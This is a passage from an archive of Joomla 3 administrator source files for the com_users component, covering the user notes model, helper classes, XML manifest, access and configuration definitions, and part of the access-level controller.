		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'user_id', 'a.user_id',
				'u.name',
				'subject', 'a.subject',
				'catid', 'a.catid', 'category_id',
				'state', 'a.state', 'published',
				'c.title',
				'review_time', 'a.review_time',
				'publish_up', 'a.publish_up',
				'publish_down', 'a.publish_down',
				'level', 'c.level',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery  A JDatabaseQuery object to retrieve the data set.
	 *
	 * @since   2.5
	 */
	protected function getListQuery()
	{
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState('list.select',
				'a.id, a.subject, a.checked_out, a.checked_out_time,' .
				'a.catid, a.created_time, a.review_time,' .
				'a.state, a.publish_up, a.publish_down'
			)
		);
		$query->from('#__user_notes AS a');

		// Join over the category
		$query->select('c.title AS category_title, c.params AS category_params')
			->join('LEFT', '#__categories AS c ON c.id = a.catid');

		// Join over the users for the note user.
		$query->select('u.name AS user_name')
			->join('LEFT', '#__users AS u ON u.id = a.user_id');

		// Join over the users for the checked out user.
		$query->select('uc.name AS editor')
			->join('LEFT', '#__users AS uc ON uc.id = a.checked_out');

		// Filter by search in title
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			elseif (stripos($search, 'uid:') === 0)
			{
				$query->where('a.user_id = ' . (int) substr($search, 4));
			}
			else
			{
				$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
				$query->where('((a.subject LIKE ' . $search . ') OR (u.name LIKE ' . $search . ') OR (u.username LIKE ' . $search . '))');
			}
		}

		// Filter by published state
		$published = $this->getState('filter.published');

		if (is_numeric($published))
		{
			$query->where('a.state = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.state IN (0, 1))');
		}

		// Filter by a single category.
		$categoryId = (int) $this->getState('filter.category_id');

		if ($categoryId)
		{
			$query->where('a.catid = ' . $categoryId);
		}

		// Filter by a single user.
		$userId = (int) $this->getState('filter.user_id');

		if ($userId)
		{
			// Add the body and where filter.
			$query->select('a.body')
				->where('a.user_id = ' . $userId);
		}

		// Filter on the level.
		if ($level = $this->getState('filter.level'))
		{
			$query->where($db->quoteName('c.level') . ' <= ' . (int) $level);
		}

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'a.review_time')) . ' ' . $db->escape($this->getState('list.direction', 'DESC')));

		return $query;
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 *
	 * @since   2.5
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . $this->getState('filter.category_id');
		$id .= ':' . $this->getState('filter.user_id');
		$id .= ':' . $this->getState('filter.level');

		return parent::getStoreId($id);
	}

	/**
	 * Gets a user object if the user filter is set.
	 *
	 * @return  JUser  The JUser object
	 *
	 * @since   2.5
	 */
	public function getUser()
	{
		$user = new JUser;

		// Filter by search in title
		$search = (int) $this->getState('filter.user_id');

		if ($search != 0)
		{
			$user->load((int) $search);
		}

		return $user;
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.review_time', $direction = 'desc')
	{
		// Adjust the context to support modal layouts.
		if ($layout = JFactory::getApplication()->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search'));
		$this->setState('filter.published', $this->getUserStateFromRequest($this->context . '.filter.published', 'filter_published', '', 'string'));
		$this->setState('filter.category_id', $this->getUserStateFromRequest($this->context . '.filter.category_id', 'filter_category_id'));
		$this->setState('filter.user_id', $this->getUserStateFromRequest($this->context . '.filter.user_id', 'filter_user_id'));
		$this->setState('filter.level', $this->getUserStateFromRequest($this->context . '.filter.level', 'filter_level', '', 'cmd'));

		parent::populateState($ordering, $direction);
	}
}
com_users/helpers/users.php000060400000015411152455305320012061 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Users component helper.
 *
 * @since  1.6
 */
class UsersHelper
{
	/**
	 * @var    JObject  A cache for the available actions.
	 * @since  1.6
	 */
	protected static $actions;

	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public static function addSubmenu($vName)
	{
		JHtmlSidebar::addEntry(
			JText::_('COM_USERS_SUBMENU_USERS'),
			'index.php?option=com_users&view=users',
			$vName == 'users'
		);

		// Groups and Levels are restricted to core.admin
		$canDo = JHelperContent::getActions('com_users');

		if ($canDo->get('core.admin'))
		{
			JHtmlSidebar::addEntry(
				JText::_('COM_USERS_SUBMENU_GROUPS'),
				'index.php?option=com_users&view=groups',
				$vName == 'groups'
			);
			JHtmlSidebar::addEntry(
				JText::_('COM_USERS_SUBMENU_LEVELS'),
				'index.php?option=com_users&view=levels',
				$vName == 'levels'
			);
		}

		if (JComponentHelper::isEnabled('com_fields') && JComponentHelper::getParams('com_users')->get('custom_fields_enable', '1'))
		{
			JHtmlSidebar::addEntry(
				JText::_('JGLOBAL_FIELDS'),
				'index.php?option=com_fields&context=com_users.user',
				$vName == 'fields.fields'
			);
			JHtmlSidebar::addEntry(
				JText::_('JGLOBAL_FIELD_GROUPS'),
				'index.php?option=com_fields&view=groups&context=com_users.user',
				$vName == 'fields.groups'
			);
		}

		JHtmlSidebar::addEntry(
			JText::_('COM_USERS_SUBMENU_NOTES'),
			'index.php?option=com_users&view=notes',
			$vName == 'notes'
		);

		JHtmlSidebar::addEntry(
			JText::_('COM_USERS_SUBMENU_NOTE_CATEGORIES'),
			'index.php?option=com_categories&extension=com_users',
			$vName == 'categories'
		);
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return  JObject
	 *
	 * @deprecated  3.2  Use JHelperContent::getActions() instead
	 */
	public static function getActions()
	{
		// Log usage of deprecated function
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHelperContent::getActions() with new arguments order instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Get list of actions
		return JHelperContent::getActions('com_users');
	}

	/**
	 * Get a list of filter options for the blocked state of a user.
	 *
	 * @return  array  An array of JHtmlOption elements.
	 *
	 * @since   1.6
	 */
	public static function getStateOptions()
	{
		// Build the filter options.
		$options = array();
		$options[] = JHtml::_('select.option', '0', JText::_('JENABLED'));
		$options[] = JHtml::_('select.option', '1', JText::_('JDISABLED'));

		return $options;
	}

	/**
	 * Get a list of filter options for the activated state of a user.
	 *
	 * @return  array  An array of JHtmlOption elements.
	 *
	 * @since   1.6
	 */
	public static function getActiveOptions()
	{
		// Build the filter options.
		$options = array();
		$options[] = JHtml::_('select.option', '0', JText::_('COM_USERS_ACTIVATED'));
		$options[] = JHtml::_('select.option', '1', JText::_('COM_USERS_UNACTIVATED'));

		return $options;
	}

	/**
	 * Get a list of the user groups for filtering.
	 *
	 * @return  array  An array of JHtmlOption elements.
	 *
	 * @since   1.6
	 */
	public static function getGroups()
	{
		$options = JHelperUsergroups::getInstance()->getAll();

		foreach ($options as &$option)
		{
			$option->value = $option->id;
			$option->text = str_repeat('- ', $option->level) . $option->title;
		}

		return $options;
	}

	/**
	 * Creates a list of range options used in filter select list
	 * used in com_users on users view
	 *
	 * @return  array
	 *
	 * @since   2.5
	 */
	public static function getRangeOptions()
	{
		$options = array(
			JHtml::_('select.option', 'today', JText::_('COM_USERS_OPTION_RANGE_TODAY')),
			JHtml::_('select.option', 'past_week', JText::_('COM_USERS_OPTION_RANGE_PAST_WEEK')),
			JHtml::_('select.option', 'past_1month', JText::_('COM_USERS_OPTION_RANGE_PAST_1MONTH')),
			JHtml::_('select.option', 'past_3month', JText::_('COM_USERS_OPTION_RANGE_PAST_3MONTH')),
			JHtml::_('select.option', 'past_6month', JText::_('COM_USERS_OPTION_RANGE_PAST_6MONTH')),
			JHtml::_('select.option', 'past_year', JText::_('COM_USERS_OPTION_RANGE_PAST_YEAR')),
			JHtml::_('select.option', 'post_year', JText::_('COM_USERS_OPTION_RANGE_POST_YEAR')),
		);

		return $options;
	}

	/**
	 * Creates a list of two factor authentication methods used in com_users
	 * on user view
	 *
	 * @return  array
	 *
	 * @since   3.2.0
	 */
	public static function getTwoFactorMethods()
	{
		FOFPlatform::getInstance()->importPlugin('twofactorauth');
		$identities = FOFPlatform::getInstance()->runPlugins('onUserTwofactorIdentify', array());

		$options = array(
			JHtml::_('select.option', 'none', JText::_('JGLOBAL_OTPMETHOD_NONE'), 'value', 'text'),
		);

		if (!empty($identities))
		{
			foreach ($identities as $identity)
			{
				if (!is_object($identity))
				{
					continue;
				}

				$options[] = JHtml::_('select.option', $identity->method, $identity->title, 'value', 'text');
			}
		}

		return $options;
	}

	/**
	 * Get a list of the User Groups for Viewing Access Levels
	 *
	 * @param   string  $rules  User Groups in JSON format
	 *
	 * @return  string  $groups  Comma separated list of User Groups
	 *
	 * @since   3.6
	 */
	public static function getVisibleByGroups($rules)
	{
		$rules = json_decode($rules);

		if (!$rules)
		{
			return false;
		}

		$rules = implode(',', $rules);

		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('a.title AS text')
			->from('#__usergroups as a')
			->where('a.id IN (' . $rules . ')');
		$db->setQuery($query);

		$groups = $db->loadColumn();
		$groups = implode(', ', $groups);

		return $groups;
	}

	/**
	 * Returns a valid section for users. If it is not valid then null
	 * is returned.
	 *
	 * @param   string  $section  The section to get the mapping for
	 *
	 * @return  string|null  The new section
	 *
	 * @since   3.7.0
	 */
	public static function validateSection($section)
	{
		if (JFactory::getApplication()->isClient('site'))
		{
			switch ($section)
			{
				case 'registration':
				case 'profile':
					$section = 'user';
			}
		}

		if ($section != 'user')
		{
			// We don't know other sections
			return null;
		}

		return $section;
	}

	/**
	 * Returns valid contexts
	 *
	 * @return  array
	 *
	 * @since   3.7.0
	 */
	public static function getContexts()
	{
		JFactory::getLanguage()->load('com_users', JPATH_ADMINISTRATOR);

		$contexts = array(
			'com_users.user' => JText::_('COM_USERS'),
		);

		return $contexts;
	}
}
com_users/helpers/debug.php000060400000007513152455305320012012 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Users component debugging helper.
 *
 * @since  1.6
 */
class UsersHelperDebug
{
	/**
	 * Get a list of the components.
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public static function getComponents()
	{
		// Initialise variable.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('name AS text, element AS value')
			->from('#__extensions')
			->where('enabled >= 1')
			->where('type =' . $db->quote('component'));

		$items = $db->setQuery($query)->loadObjectList();

		if (count($items))
		{
			$lang = JFactory::getLanguage();

			foreach ($items as &$item)
			{
				// Load language
				$extension = $item->value;
				$source = JPATH_ADMINISTRATOR . '/components/' . $extension;
				$lang->load("$extension.sys", JPATH_ADMINISTRATOR, null, false, true)
					|| $lang->load("$extension.sys", $source, null, false, true);

				// Translate component name
				$item->text = JText::_($item->text);
			}

			// Sort by component name
			$items = ArrayHelper::sortObjects($items, 'text', 1, true, true);
		}

		return $items;
	}

	/**
	 * Get a list of the actions for the component or code actions.
	 *
	 * @param   string  $component  The name of the component.
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public static function getDebugActions($component = null)
	{
		$actions = array();

		// Try to get actions for the component
		if (!empty($component))
		{
			$component_actions = JAccess::getActions($component);

			if (!empty($component_actions))
			{
				foreach ($component_actions as &$action)
				{
					$actions[$action->title] = array($action->name, $action->description);
				}
			}
		}

		// Use default actions from configuration if no component selected or component doesn't have actions
		if (empty($actions))
		{
			$filename = JPATH_ADMINISTRATOR . '/components/com_config/model/form/application.xml';

			if (is_file($filename))
			{
				$xml = simplexml_load_file($filename);

				foreach ($xml->children()->fieldset as $fieldset)
				{
					if ('permissions' == (string) $fieldset['name'])
					{
						foreach ($fieldset->children() as $field)
						{
							if ('rules' == (string) $field['name'])
							{
								foreach ($field->children() as $action)
								{
									$actions[(string) $action['title']] = array(
										(string) $action['name'],
										(string) $action['description']
									);
								}

								break;
							}
						}
					}
				}

				// Load language
				$lang = JFactory::getLanguage();
				$extension = 'com_config';
				$source = JPATH_ADMINISTRATOR . '/components/' . $extension;

				$lang->load($extension, JPATH_ADMINISTRATOR, null, false, false)
					|| $lang->load($extension, $source, null, false, false)
					|| $lang->load($extension, JPATH_ADMINISTRATOR, $lang->getDefault(), false, false)
					|| $lang->load($extension, $source, $lang->getDefault(), false, false);
			}
		}

		return $actions;
	}

	/**
	 * Get a list of filter options for the levels.
	 *
	 * @return  array  An array of JHtmlOption elements.
	 */
	public static function getLevelsOptions()
	{
		// Build the filter options.
		$options = array();
		$options[] = JHtml::_('select.option', '1', JText::sprintf('COM_USERS_OPTION_LEVEL_COMPONENT', 1));
		$options[] = JHtml::_('select.option', '2', JText::sprintf('COM_USERS_OPTION_LEVEL_CATEGORY', 2));
		$options[] = JHtml::_('select.option', '3', JText::sprintf('COM_USERS_OPTION_LEVEL_DEEPER', 3));
		$options[] = JHtml::_('select.option', '4', '4');
		$options[] = JHtml::_('select.option', '5', '5');
		$options[] = JHtml::_('select.option', '6', '6');

		return $options;
	}
}
com_users/users.xml000060400000002476152455305320010437 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_users</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_USERS_XML_DESCRIPTION</description>

	<files folder="site">
		<filename>controller.php</filename>
		<filename>router.php</filename>
		<filename>users.php</filename>
		<folder>controllers</folder>
		<folder>helpers</folder>
		<folder>models</folder>
		<folder>views</folder>
	</files>
	<languages folder="site">
		<language tag="en-GB">language/en-GB.com_users.ini</language>
	</languages>
	<administration>
		<files folder="admin">
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<filename>users.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_users.ini</language>
			<language tag="en-GB">language/en-GB.com_users.sys.ini</language>
		</languages>
	</administration>
</extension>
com_users/access.xml000060400000005200152455305320010523 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_users">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.options" title="JACTION_OPTIONS" description="JACTION_OPTIONS_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.create" title="JACTION_CREATE" description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="JACTION_EDIT_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
		<action name="core.edit.value" title="JACTION_EDITVALUE" description="JACTION_EDITVALUE_COMPONENT_DESC" />
	</section>
	<section name="category">
		<action name="core.create" title="JACTION_CREATE" description="COM_CATEGORIES_ACCESS_CREATE_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="COM_CATEGORIES_ACCESS_DELETE_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="COM_CATEGORIES_ACCESS_EDIT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="COM_CATEGORIES_ACCESS_EDITSTATE_DESC" />
		<action name="core.edit.own" title="JACTION_EDITOWN" description="COM_CATEGORIES_ACCESS_EDITOWN_DESC" />
	</section>
	<section name="fieldgroup">
		<action name="core.create" title="JACTION_CREATE" description="COM_FIELDS_GROUP_PERMISSION_CREATE_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="COM_FIELDS_GROUP_PERMISSION_DELETE_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="COM_FIELDS_GROUP_PERMISSION_EDIT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="COM_FIELDS_GROUP_PERMISSION_EDITSTATE_DESC" />
		<action name="core.edit.own" title="JACTION_EDITOWN" description="COM_FIELDS_GROUP_PERMISSION_EDITOWN_DESC" />
		<action name="core.edit.value" title="JACTION_EDITVALUE" description="COM_FIELDS_GROUP_PERMISSION_EDITVALUE_DESC" />
	</section>
	<section name="field">
		<action name="core.delete" title="JACTION_DELETE" description="COM_FIELDS_FIELD_PERMISSION_DELETE_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="COM_FIELDS_FIELD_PERMISSION_EDIT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="COM_FIELDS_FIELD_PERMISSION_EDITSTATE_DESC" />
		<action name="core.edit.value" title="JACTION_EDITVALUE" description="COM_FIELDS_FIELD_PERMISSION_EDITVALUE_DESC" />
	</section>
</access>
com_users/config.xml000060400000020120152455305320010525 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset 
		name="user_options"
		label="COM_USERS_CONFIG_USER_OPTIONS" >
		<field
			name="allowUserRegistration"
			type="radio"
			label="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_LABEL"
			description="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="new_usertype"
			type="usergrouplist"
			label="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_LABEL"
			description="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_DESC"
			default="2"
			checksuperusergroup="1"
		/>

		<field
			name="guest_usergroup"
			type="usergrouplist"
			label="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_LABEL"
			description="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_DESC"
			default="1"
			checksuperusergroup="1"
		/>

		<field
			name="sendpassword"
			type="radio"
			label="COM_USERS_CONFIG_FIELD_SENDPASSWORD_LABEL"
			description="COM_USERS_CONFIG_FIELD_SENDPASSWORD_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="useractivation"
			type="list"
			label="COM_USERS_CONFIG_FIELD_USERACTIVATION_LABEL"
			description="COM_USERS_CONFIG_FIELD_USERACTIVATION_DESC"
			default="2"
			>
			<option value="0">JNONE</option>
			<option value="1">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_SELFACTIVATION</option>
			<option value="2">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_ADMINACTIVATION</option>
		</field>

		<field
			name="mail_to_admin"
			type="radio"
			label="COM_USERS_CONFIG_FIELD_MAILTOADMIN_LABEL"
			description="COM_USERS_CONFIG_FIELD_MAILTOADMIN_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="captcha"
			type="plugins"
			label="COM_USERS_CONFIG_FIELD_CAPTCHA_LABEL"
			description="COM_USERS_CONFIG_FIELD_CAPTCHA_DESC"
			folder="captcha"
			filter="cmd"
			useglobal="true"
			>
			<option value="0">JOPTION_DO_NOT_USE</option>
		</field>

		<field
			name="frontend_userparams"
			type="radio"
			label="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_LABEL"
			description="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="site_language"
			type="radio"
			label="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_LABEL"
			description="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			showon="frontend_userparams:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="change_login_name"
			type="radio"
			label="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_LABEL"
			description="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

	</fieldset>

	<fieldset
		name="domain_options"
		label="COM_USERS_CONFIG_DOMAIN_OPTIONS"
		>

		<field
			name="domains"
			type="subform"
			label="COM_USERS_CONFIG_FIELD_DOMAINS_LABEL"
			description="COM_USERS_CONFIG_FIELD_DOMAINS_DESC"
			multiple="true"
			layout="joomla.form.field.subform.repeatable-table"
			formsource="administrator/components/com_users/models/forms/config_domain.xml"
		/>
	</fieldset>

	<fieldset
		name="password_options"
		label="COM_USERS_CONFIG_PASSWORD_OPTIONS" >
		<field
			name="reset_count"
			type="integer"
			label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_LABEL"
			description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_DESC"
			first="0"
			last="20"
			step="1"
			default="10"
		/>

		<field
			name="reset_time"
			type="integer"
			label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_LABEL"
			description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_DESC"
			first="1"
			last="24"
			step="1"
			default="1"
		/>

		<field
			name="minimum_length"
			type="integer"
			label="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH"
			description="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH_DESC"
			first="4"
			last="99"
			step="1"
			default="4"
		/>

		<field
			name="minimum_integers"
			type="integer"
			label="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS"
			description="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS_DESC"
			first="0"
			last="98"
			step="1"
			default="0"
		/>

		<field
			name="minimum_symbols"
			type="integer"
			label="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS"
			description="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS_DESC"
			first="0"
			last="98"
			step="1"
			default="0"
		/>

		<field
			name="minimum_uppercase"
			type="integer"
			label="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE"
			description="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE_DESC"
			first="0"
			last="98"
			step="1"
			default="0"
		/>

		<field
			name="minimum_lowercase"
			type="integer"
			label="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE"
			description="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE_DESC"
			first="0"
			last="98"
			step="1"
			default="0"
		/>

	</fieldset>

	<fieldset
		name="user_notes_history"
		label="COM_USERS_CONFIG_FIELD_NOTES_HISTORY" >

		<field
			name="save_history"
			type="radio"
			label="JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL"
			description="JGLOBAL_SAVE_HISTORY_OPTIONS_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="history_limit"
			type="number"
			label="JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL"
			description="JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC"
			filter="integer"
			default="5"
			showon="save_history:1"
		/>

	</fieldset>

 	<fieldset
		name="massmail"
		label="COM_USERS_MASS_MAIL"
		description="COM_USERS_MASS_MAIL_DESC">

		<field
 			name="mailSubjectPrefix"
 			type="text"
			label="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_LABEL"
			description="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_DESC"
		/>

 		<field
 			name="mailBodySuffix"
			type="textarea"
			label="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_LABEL"
			description="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_DESC"
 			rows="5"
 			cols="30"
		/>

	</fieldset>

	<fieldset
		name="debug"
		label="COM_USERS_DEBUG_LABEL"
		description="COM_USERS_DEBUG_DESC">

		<field
			name="debugUsers"
			type="radio"
			label="COM_USERS_DEBUG_USERS_LABEL"
			description="COM_USERS_DEBUG_USERS_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="debugGroups"
			type="radio"
			label="COM_USERS_DEBUG_GROUPS_LABEL"
			description="COM_USERS_DEBUG_GROUPS_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

	</fieldset>

	<fieldset name="integration"
		label="JGLOBAL_INTEGRATION_LABEL"
		description="COM_USERS_CONFIG_INTEGRATION_SETTINGS_DESC"
	>

		<field
			name="integration_sef"
			type="note"
			label="JGLOBAL_SEF_TITLE"
		/>

		<field
			name="sef_advanced"
			type="radio"
			class="btn-group btn-group-yesno btn-group-reversed"
			default="0"
			label="JGLOBAL_SEF_ADVANCED_LABEL"
			description="JGLOBAL_SEF_ADVANCED_DESC"
			filter="integer"
			>
			<option value="0">JGLOBAL_SEF_ADVANCED_LEGACY</option>
			<option value="1">JGLOBAL_SEF_ADVANCED_MODERN</option>
		</field>

		<field
			name="integration_customfields"
			type="note"
			label="JGLOBAL_FIELDS_TITLE"
		/>

		<field
			name="custom_fields_enable"
			type="radio"
			label="JGLOBAL_CUSTOM_FIELDS_ENABLE_LABEL"
			description="JGLOBAL_CUSTOM_FIELDS_ENABLE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

	</fieldset>

	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>

		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			validate="rules"
			component="com_users"
			section="component"
		/>

	</fieldset>
</config>
com_users/controllers/level.php000060400000006065152455305320012740 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * User view level controller class.
 *
 * @since  1.6
 */
class UsersControllerLevel extends JControllerForm
{
	/**
	 * @var     string  The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_USERS_LEVEL';

	/**
	 * Method to check if you can save a new or existing record.
	 *
	 * Overrides JControllerForm::allowSave to check the core.admin permission.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowSave($data, $key = 'id')
	{
		return (JFactory::getUser()->authorise('core.admin', $this->option) && parent::allowSave($data, $key));
	}

	/**
	 * Overrides JControllerForm::allowEdit
	 *
	 * Checks that non-Super Admins are not editing Super Admins.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   3.8.8
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Get user instance
		$user = JFactory::getUser();

		// Check for if Super Admin can edit
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('*')
			->from($db->quoteName('#__viewlevels'))
			->where($db->quoteName('id') . ' = ' . (int) $data['id']);
		$db->setQuery($query);

		$viewlevel = $db->loadAssoc();

		// Decode level groups
		$groups = json_decode($viewlevel['rules']);

		// If this group is super admin and this user is not super admin, canEdit is false
		if (!$user->authorise('core.admin') && JAccess::checkGroup($groups[0], 'core.admin'))
		{
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED'));

			return false;
		}

		return parent::allowEdit($data, $key);
	}

	/**
	 * Removes an item.
	 *
	 * Overrides JControllerAdmin::delete to check the core.admin permission.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function delete()
	{
		// Check for request forgeries.
		$this->checkToken();

		$ids = (array) $this->input->get('cid', array(), 'int');

		// Remove zero values resulting from input filter
		$ids = array_filter($ids);

		if (!JFactory::getUser()->authorise('core.admin', $this->option))
		{
			JError::raiseError(500, JText::_('JERROR_ALERTNOAUTHOR'));
			jexit();
		}
		elseif (empty($ids))
		{
			JError::raiseWarning(500, JText::_('COM_USERS_NO_LEVELS_SELECTED'));
		}
		else
		{
			// Get the model.
			$model = $this->getModel();

			// Remove the items.
			if (!$model->delete($ids))
			{
